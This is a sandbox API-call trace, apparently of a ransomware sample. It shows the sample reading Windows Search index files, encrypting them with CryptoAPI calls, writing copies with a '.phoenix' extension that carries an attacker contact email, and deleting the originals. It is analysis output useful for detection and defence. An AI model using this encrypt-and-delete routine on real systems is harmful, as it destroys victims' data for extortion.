	[0260.883] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x100010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x100010, lpOverlapped=0x0) returned 1
	[0260.957] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0260.957] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.957] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0260.957] CryptDestroyKey (hKey=0x151780) returned 1
	[0260.957] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0260.957] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0260.957] CloseHandle (hObject=0x308) returned 1
	[0260.957] CloseHandle (hObject=0x2d0) returned 1
	[0261.081] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00001.jrs")) returned 1
	[0261.091] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.092] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1250) returned 1
	[0261.093] CloseHandle (hObject=0x308) returned 1
	[0261.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl")) returned 0x2020
	[0261.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.093] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.093] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.093] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.093] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.095] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0261.095] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.095] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x4e2, lpOverlapped=0x0) returned 1
	[0261.340] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x4f0) returned 1
	[0261.340] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x4f0, lpOverlapped=0x0) returned 1
	[0261.341] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0261.341] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.341] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0261.341] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0261.341] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0261.341] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.341] CloseHandle (hObject=0x308) returned 1
	[0261.341] CloseHandle (hObject=0x240) returned 1
	[0261.341] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl")) returned 1
	[0261.353] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.353] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.354] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=4920) returned 1
	[0261.354] CloseHandle (hObject=0x240) returned 1
	[0261.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr")) returned 0x2020
	[0261.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.354] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.354] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.354] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.354] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.355] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0261.355] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.355] ReadFile (in: hFile=0x240, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1338, lpOverlapped=0x0) returned 1
	[0261.510] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1340, dwBufLen=0x1340 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1340) returned 1
	[0261.510] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1340, lpOverlapped=0x0) returned 1
	[0261.511] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0261.511] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.511] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0261.511] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.511] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0261.511] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.511] CloseHandle (hObject=0x240) returned 1
	[0261.512] CloseHandle (hObject=0x308) returned 1
	[0261.512] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.gthr")) returned 1
	[0261.513] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.513] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.gthr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.513] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=4334) returned 1
	[0261.513] CloseHandle (hObject=0x308) returned 1
	[0261.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.gthr")) returned 0x2020
	[0261.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.gthr.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.gthr.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.514] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.gthr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.514] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.514] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.514] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.gthr.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.gthr.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.514] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0261.514] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.514] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x10ee, lpOverlapped=0x0) returned 1
	[0261.547] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x10f0, dwBufLen=0x10f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x10f0) returned 1
	[0261.547] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x10f0, lpOverlapped=0x0) returned 1
	[0261.548] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151540) returned 1
	[0261.548] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.548] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0261.548] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.548] WriteFile (in: hFile=0x240, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0261.548] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.548] CloseHandle (hObject=0x308) returned 1
	[0261.548] CloseHandle (hObject=0x240) returned 1
	[0261.548] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.2.gthr" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.2.gthr")) returned 1
	[0261.549] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.549] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.550] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=240) returned 1
	[0261.550] CloseHandle (hObject=0x240) returned 1
	[0261.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000")) returned 0x2020
	[0261.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.550] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0261.550] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.550] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.550] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.551] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0261.551] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.551] ReadFile (in: hFile=0x240, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0xf0, lpOverlapped=0x0) returned 1
	[0261.552] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100, dwBufLen=0x100 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100) returned 1
	[0261.552] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x100, lpOverlapped=0x0) returned 1
	[0261.553] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0261.553] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.553] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0261.553] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.553] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0261.553] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0261.553] CloseHandle (hObject=0x240) returned 1
	[0261.553] CloseHandle (hObject=0x308) returned 1
	[0261.553] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.000" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.000")) returned 1
	[0261.554] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0261.554] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.555] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=65536) returned 1
	[0261.555] CloseHandle (hObject=0x308) returned 1
	[0261.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001")) returned 0x2020
	[0261.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0261.556] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.556] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0261.556] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\PropMap\\CiPT0000.001.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\propmap\\cipt0000.001.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0261.590] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0261.590] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.590] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x10000, lpOverlapped=0x0) returned 1
	[0261.593] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x10010, dwBufLen=0x10010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x10010) returned 1
	[0261.593] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x10010, lpOverlapped=0x0) returned 1
	[0261.595] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0261.595] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0261.595] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0261.595] CryptDestroyKey (hKey=0x151100) returned 1
